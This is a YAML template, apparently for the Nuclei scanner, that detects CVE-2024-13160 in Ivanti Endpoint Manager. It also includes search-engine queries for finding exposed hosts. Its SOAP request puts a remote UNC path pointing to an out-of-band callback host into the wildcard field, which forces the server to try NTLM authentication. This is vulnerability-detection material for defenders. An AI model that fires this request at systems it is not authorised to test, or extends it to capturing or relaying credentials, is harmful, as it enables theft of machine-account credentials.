id: CVE-2024-13160

info:
  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcard
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcard endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13160
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13160
    cwe-id: CWE-36
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:362091310
    fofa-query: icon_hash="362091310"
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForWildcard

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForWildcard xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForWildcard>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForWildcardResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100f05f717a738b319a3dfb77345a6db6980174c36f089bb76431d587e602dc4e2202204be16b64b4f11d8d4b3943b4165357648de29e1ac4c068b70745bc1362ce4bb6:922c64590222798bb761d5b6d8e72950